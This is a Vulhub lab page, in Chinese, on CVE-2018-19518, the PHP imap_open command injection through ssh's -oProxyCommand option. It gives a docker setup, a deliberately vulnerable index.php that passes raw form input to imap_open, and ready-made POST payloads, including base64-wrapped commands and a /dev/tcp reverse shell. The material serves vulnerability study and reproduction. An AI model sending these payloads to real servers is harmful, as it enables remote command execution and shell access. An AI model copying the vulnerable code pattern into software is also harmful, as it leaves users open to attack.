登录 白背景

PHP imap 远程命令执行漏洞 CVE-2018-19518

漏洞描述

php imap 扩展用于在 PHP 中执行邮件收发操作。其 imap_open 函数会调用 rsh 来连接远程 shell,而 debian/ubuntu 中默认使用 ssh 来代替 rsh 的功能(也就是说,在 debian 系列系统中,执行 rsh 命令实际执行的是 ssh 命令)。

因为 ssh 命令中可以通过设置 -oProxyCommand= 来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

参考链接:

环境搭建

Vulhub 执行如下命令启动一个包含漏洞的 PHP 环境:

docker compose up -d

环境启动后,访问 http://your-ip:8080 即可查看 web 页面。Web 功能是测试一个邮件服务器是否能够成功连接,需要填写服务器地址、用户名和密码。

目标源码为 index.php

漏洞复现

发送如下数据包即可成功执行命令 echo '1234567890'>/tmp/test0001

POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

执行 docker compose exec web bash 进入容器,可见 /tmp/test0001 已成功创建:

写入反弹 shell:

# Payload
echo "/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1" > /tmp/a

# Base64 Encode
ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjEiID4gL3RtcC9h
# URL Encode
ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA%2bJjEiID4gL3RtcC9h
# 组装Payload
# hostname=x+-oProxyCommand%3decho%09[PAYLOAD]|base64%09-d|sh}&username=111&password=222
hostname=x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA%2bJjEiID4gL3RtcC9h|base64%09-d|sh}&username=111&password=222

触发反弹 shell:

# Payload
/bin/bash /tmp/a

# Base64 Encode
L2Jpbi9iYXNoIC90bXAvYQ==
# URL Encode
L2Jpbi9iYXNoIC90bXAvYQ%3d%3d
# 组装Payload
# hostname=x+-oProxyCommand%3decho%09[PAYLOAD]|base64%09-d|sh}&username=111&password=222
hostname=x+-oProxyCommand%3decho%09L2Jpbi9iYXNoIC90bXAvYQ%3d%3d|base64%09-d|sh}&username=111&password=222

index.php

<?php
if(!empty($_POST)) {
    $imap = @imap_open('{'.$_POST['hostname'].':993/imap/ssl}INBOX', $_POST['username'], $_POST['password']);
}
?>
<!doctype html>
<html lang="en">
<head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">

    <title>Input your email server</title>
</head>
<body>

<div class="container">
        <h2>Test your email server</h2>
        <?php if(!empty($_POST)): ?>
        <?php if($imap): ?>
            <div class="alert alert-success" role="alert">
                Connect successful!
            </div>
        <?php else: ?>
            <div class="alert alert-danger" role="alert">
                Connect failed!
            </div>
        <?php endif; ?>
        <?php endif; ?>
        <form method="post">
            <div class="form-group">
                <label>Server address</label>
                <input type="text" name="hostname" class="form-control" >
            </div>
            <div class="form-group">
                <label>Username</label>
                <input type="text" name="username" class="form-control" >
            </div>
            <div class="form-group">
                <label>Password</label>
                <input type="password" class="form-control" name="password">
            </div>
            <button type="submit" class="btn btn-primary">Submit</button>
        </form>
</div>


<!-- Optional JavaScript -->
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
<script src="https://cdn.jsdelivr.net/npm/jquery@3.3.1/dist/jquery.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.4/dist/umd/popper.min.js" integrity="sha256-EGs9T1xMHdvM1geM8jPpoo8EZ1V1VRsmcJz8OByENLA=" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha256-VsEqElsCHSGmnmHXGQzvoWjWwoznFSZc6hs7ARLRacQ=" crossorigin="anonymous"></script>
</body>
</html>